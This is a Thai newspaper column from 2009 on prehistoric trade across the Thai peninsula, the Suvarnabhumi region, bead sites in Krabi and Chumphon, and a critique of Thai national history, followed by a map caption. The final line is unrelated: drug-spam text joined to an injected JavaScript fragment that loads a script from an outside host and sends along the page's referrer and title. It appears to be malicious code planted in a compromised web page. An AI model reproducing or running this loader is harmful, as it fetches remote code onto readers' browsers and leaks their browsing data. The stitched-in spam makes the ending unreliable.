หนังสือพิมพ์มติชน ฉบับประจำวันพุธที่ 4 มีนาคม 2552

บริเวณประเทศไทยทุกวันนี้อยู่กึ่งกลางของดินแดนสุวรรณภูมิเมื่อราวก่อนพุทธกาล 3,000 ปีมาแล้ว มีมหาสมุทรขนาบทั้ง 2 ด้าน คือทางตะวันออกเป็นมหาสมุทรแปซิฟิก ส่วนทางตะวันตกเป็นมหาสมุทรอินเดีย มีบริเวณภาคใต้ของประเทศไทยยื่นยาวถึงมาเลเซีย-สิงคโปร์ เป็นแผ่นดินคาบสมุทร

ตะวันออกยุคนั้น มีฮั่น (จีน) เป็นศูนย์กลาง ส่วนตะวันตกมีตั้งแต่อินเดีย, ลังกา, ลุ่มน้ำไทกริส-ยูเฟรติส(อิรัก), เปอร์เซีย(อิหร่าน), เมืองอเล็กซานเดรีย ต่อเนื่องถึงกรีก-โรมัน ฯลฯ

โลกตะวันตกกับโลกตะวันออกต้องการติดต่อแลกเปลี่ยนสิ่งของซึ่งกันและกัน แต่เดินทางทางทะเลโดยตรงไม่ได้ เพราะเทคโนโลยีต่ำไม่สามารถเอาเรือ(ขนาดเล็ก)แล่นอ้อมช่องแคบมะละกาได้ เพราะคลื่นลมแรงจัด กับมีสลัดชุกชุม

โลกตะวันตกจึงแล่นเลียบชายฝั่งอ่าวเบงกอลมาอ่าวเมาะตะมะ แล้วจอดเรือขนสินค้าข้ามคาบสมุทรตั้งแต่ข้างบนทางเมืองเมาะตะมะ-ทวาย, เรื่อยลงไปข้างล่างถึงเมืองมะริด-ตะนาวศรี, ระนอง, พังงา, ภูเก็ต, กระบี่, ตรัง แล้วลงไปถึง เคดาห์(ไทรบุรี)ในมาเลเซีย

โลกตะวันออก แล่นเลียบชายฝั่งจากกวางสี-กวางตุ้ง, เวียดนาม, มาขึ้นบกทางอ่าวไทย เช่น ปัตตานี, สงขลา, นครศรีธรรมราช, สุราษฎร์ธานี, ชุมพร, เพชรบุรี, ราชบุรี, ลุ่มน้ำเจ้าพระยา

โลกตะวันตกจอดเรือทางฝั่งมหาสมุทรอินเดีย แล้วขนสิ่งของข้ามคาบสมุทรไปแลกเปลี่ยนกันแล้วลงเรือทางอ่าวไทย, ทะเลจีน, มหาสมุทรแปซิฟิก ส่วนโลกตะวันออกก็ทำในทางตรงข้ามคือ ขนข้ามคาบสมุทรจากอ่าวไทย ฯลฯ ไปทะเล อันดามัน มหาสมุทรอินเดีย

บริเวณเหล่านี้จึงมีสิ่งของ“เครื่องราง”จากโลกตะวันตก เช่น ลูกปัด ฯลฯ ตกค้างอยู่ในดิน ดังได้พบจำนวนมากที่ควนลูกปัด(กระบี่), เขาสามแก้ว(ชุมพร), แล้วยังพบที่อู่ทอง(สุพรรณบุรี), ศรีมโหสถ(ปราจีนบุรี) ด้วย

การค้าอย่างนี้ แรกมีขึ้นเมื่อราว 3,000 ปีมาแล้ว ทำให้คนพื้นเมืองสุวรรณภูมิเกี่ยวดองทางสังคมและวัฒนธรรมกับคนจากโลกตะวันตกและโลกตะวันออกที่มีความเคลื่อนไหวไปมาขนานใหญ่ กลายเป็นบรรพชนของคนอุษาคเนย์รวมทั้งคนไทยทุกวันนี้

นี่คือรากเหง้าเก่าแก่ของประชาคมอาเซียน

หลังจากนั้นต่อมา การค้าโลกขยายตัวมากขึ้น จึงรู้จักแผ่นดินคาบสมุทรในชื่อสุวรรณภูมิดังระบุไว้ในคัมภีร์ทางศาสนาของอินเดียและลังกา ส่งผลให้อเล็กซานเดอร์ต้องการควบคุมเส้นทางการค้านี้ จึงเริ่มยกทัพมายึดครองลุ่มน้ำสินธุ แต่พระเจ้าอโศกก็ต้องการควบคุมเส้นทางการค้านี้ด้วย จึงส่งพระสงฆ์มาเผยแผ่พุทธศาสนาที่สุวรรณภูมิ เพื่อลงหลักปักฐานทางเศรษฐกิจ-การเมือง ต่อไปข้างหน้า ส่งผลให้เกิดรัฐต่างๆ เช่น ทวารวดี, อีสานปุระ, ฟูนัน-เจนละ, ฯลฯ

แต่ประวัติศาสตร์แห่งชาติของไทยปฏิเสธหลักฐานที่ยกมานี้ เลยไม่มีการค้าและเส้นทางการค้าตั้งแต่ยุคดึกดำบรรพ์อย่างน้อยราว 3,000 ปีมาแล้ว เพราะประวัติศาสตร์แห่งชาติของไทยยังหลงว่ามี “คนไทย” เป็นเชื้อชาติบริสุทธิ์ผุดผ่อง ดังทองทา ไม่มีเผ่าอื่นมาผสมปนเปเลย แล้วมีหลักแหล่งอยู่เทือกเขาอัลไตในมองโกเลียเหนือ ซึ่งเป็นเทือกเขาน้ำแข็ง ไม่มีมนุษย์อยู่อาศัย

หากประวัติศาสตร์แห่งชาติของไทยและอุษาคเนย์ไม่ยอมแก้ไขให้เป็นไปตามพยานหลักฐานประวัติศาสตร์โบราณคดี ก็อย่าหวังว่าจะมีประชาคมอาเซียนหรือสหภาพอาเซียนเหมือนสหภาพยุโรป(EU)

mapthai

แผนที่แสดงชุมชนหมู่บ้านบางแห่งที่สำคัญเมื่อราว 3,000 ปีมาแล้ว ใน(สยาม)ประเทศไทย จะเห็นตำแหน่งควนลูกปัดที่กระบี่ กับเขาสามแก้วที่ชุมพร ฯลฯ
หมายเหตุ ตำแหน่งสีต่างๆ ล้วนกำหนดอย่างกว้างๆในแผนที่เพื่อให้ดูง่ายๆ เข้าใจง่ายๆ แต่ในความจริงของยุคนั้นๆอาจต่างไป หรือทับซ้อนอยู่ด้วยกันอย่างแยกชัดเจนเหมือนแผนที่แผ่นนี้ไม่ได้ ฉะนั้นต้องเข้าใจร่วมกันว่าการลงสีเป็นเรื่องสมมุติเท่านั้น ส่วนความจริงเป็นอย่างไรต้องเปลี่ยนแปลงตามหลักฐานได้เสมอ
(จากหนังสือ แผนที่ประวัติศาสตร์และแผนที่วัฒนธรรมของ(สยาม)ประเทศไทย โดย สุจิตต์ วงษ์เทศ พิมพ์ครั้งที่ 2 เมื่อ พ.ศ. 2551)

fluoxetine may treat valtrex tablet s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;